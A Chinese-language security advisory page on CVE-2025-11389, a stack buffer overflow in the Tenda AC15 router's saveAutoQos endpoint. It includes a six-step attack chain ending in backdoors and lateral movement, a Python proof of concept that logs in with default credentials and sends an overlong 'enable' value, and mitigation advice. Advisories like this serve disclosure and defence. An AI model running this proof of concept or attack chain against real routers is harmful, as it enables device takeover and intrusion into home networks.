IPBUF安全漏洞报告
English
CVE-2025-11389 CVSS 8.8 高危

CVE-2025-11389:Tenda AC15路由器saveAutoQos栈缓冲区溢出漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-11389
漏洞类型
栈缓冲区溢出
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tenda AC15

相关标签

缓冲区溢出栈溢出TendaAC15IoT路由器远程代码执行saveAutoQos高危漏洞CVE-2025-11389

漏洞概述

CVE-2025-11389是Tenda AC15路由器(固件版本15.03.05.18)中存在的一个高危安全漏洞。该漏洞位于路由器管理接口的/goform/saveAutoQos路径中,涉及对enable参数的处理逻辑存在缺陷。攻击者可以通过构造恶意的HTTP请求,向该接口发送超长数据的enable参数,触发栈缓冲区溢出漏洞。由于该漏洞可以通过网络远程利用,且攻击复杂度低,仅需低权限认证即可触发,同时对系统的机密性、完整性和可用性均产生高影响,因此该漏洞的CVSS评分达到8.8分,属于高危级别。

Tenda AC15是一款广泛应用于家庭和小型办公环境的无线路由器,其Web管理界面提供了QoS(服务质量)配置功能,其中saveAutoQos接口用于保存自动QoS设置。然而,该接口在处理用户输入时未对参数长度进行充分校验,导致恶意构造的数据可以覆盖栈上的返回地址和其他关键数据。漏洞细节及利用代码已被公开披露,增加了实际被攻击的风险。该漏洞可能允许远程攻击者执行任意代码,完全控制受影响的路由器设备,进而窃取网络流量、修改DNS设置、植入后门或对内网设备发起进一步攻击。

技术细节

该漏洞的根因在于Tenda AC15路由器固件(版本15.03.05.18)中/goform/saveAutoQos接口的enable参数处理函数未实施有效的输入长度校验。当用户通过HTTP POST请求向该接口提交enable参数时,程序直接将接收到的字符串数据拷贝到固定大小的栈缓冲区中。

利用方式如下:
1. 攻击者首先需要获取路由器的管理权限(低权限即可,如普通用户账号);
2. 构造一个特制的HTTP POST请求,目标URL为/goform/saveAutoQos;
3. 在请求体中包含超长数据的enable参数,长度超过目标栈缓冲区的大小;
4. 当路由器固件处理该请求时,超出缓冲区容量的数据将覆盖栈上的返回地址、帧指针等关键控制数据;
5. 攻击者通过精心构造溢出数据,可以将执行流重定向到攻击者控制的shellcode地址;
6. 最终实现远程代码执行,获取路由器的完全控制权。

由于该漏洞属于栈缓冲区溢出类型,攻击者可以利用ROP(Return-Oriented Programming)技术绕过NX(No-Execute)保护,或者利用栈中的cookie进行ASLR绕过。漏洞的利用代码已经公开,攻击门槛较低,对使用Tenda AC15路由器的用户构成严重威胁。

攻击链分析

STEP 1
步骤1:信息收集
攻击者扫描互联网或内网,识别运行Tenda AC15路由器(固件版本15.03.05.18)的目标设备,并尝试获取默认或弱口令的管理员凭证。
STEP 2
步骤2:身份认证
攻击者使用获取到的低权限用户凭证登录路由器管理界面(/login/Auth),建立有效的会话Cookie。
STEP 3
步骤3:构造恶意请求
攻击者构造一个HTTP POST请求,目标路径为/goform/saveAutoQos,其中enable参数被填充超长字符串以触发栈缓冲区溢出。
STEP 4
步骤4:发送攻击载荷
攻击者将恶意请求发送到目标路由器,超长数据覆盖栈上的返回地址,可能导致程序崩溃或执行任意代码。
STEP 5
步骤5:执行任意代码
成功利用后,攻击者在路由器上执行任意代码,获取设备完全控制权,可窃取网络流量、植入后门或进行内网渗透。
STEP 6
步骤6:持久化与横向移动
攻击者在路由器中植入持久化后门,并利用路由器作为跳板对内网其他设备发起进一步攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2025-11389 - Tenda AC15 saveAutoQos Stack Buffer Overflow PoC # Vulnerability: Stack-based buffer overflow via 'enable' parameter in /goform/saveAutoQos # Affected: Tenda AC15 firmware 15.03.05.18 import requests import sys TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "192.168.0.1" TARGET_PORT = 80 USERNAME = "admin" PASSWORD = "admin" # Buffer size to trigger overflow (adjust based on target) BUFFER_SIZE = 512 # Return address placeholder (e.g., for redirecting execution) RET_ADDRESS = b"\x41\x41\x41\x41" def login(session, host, port, username, password): """Login to Tenda AC15 router web interface.""" login_url = f"http://{host}:{port}/login/Auth" data = { "username": username, "password": password } try: resp = session.post(login_url, data=data, timeout=10) if resp.status_code == 200: print(f"[+] Login successful to {host}") return True except Exception as e: print(f"[-] Login failed: {e}") return False def exploit(session, host, port): """Trigger stack buffer overflow via saveAutoQos endpoint.""" target_url = f"http://{host}:{port}/goform/saveAutoQos" # Craft malicious 'enable' parameter to overflow stack buffer payload = b"A" * BUFFER_SIZE + RET_ADDRESS data = { "enable": payload.decode('latin-1') } print(f"[*] Sending exploit payload ({len(payload)} bytes) to {target_url}") try: resp = session.post(target_url, data=data, timeout=10) print(f"[*] Response status: {resp.status_code}") print(f"[+] Exploit sent. Check if device crashed or shell obtained.") except requests.exceptions.Timeout: print("[+] Target timed out - possible crash/overflow triggered!") except Exception as e: print(f"[+] Exception occurred (possible crash): {e}") if __name__ == "__main__": session = requests.Session() if login(session, TARGET_HOST, TARGET_PORT, USERNAME, PASSWORD): exploit(session, TARGET_HOST, TARGET_PORT) else: print("[-] Cannot proceed without valid credentials")

影响范围

Tenda AC15 15.03.05.18

防御指南

临时缓解措施
在官方补丁发布之前,建议用户立即修改路由器默认管理密码并使用强密码,禁用远程管理功能,仅允许可信内网设备访问管理界面。同时可在网络层面部署防火墙规则,限制对路由器管理端口(80/443)的外部访问,并持续关注Tenda官方发布的固件更新,及时升级修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表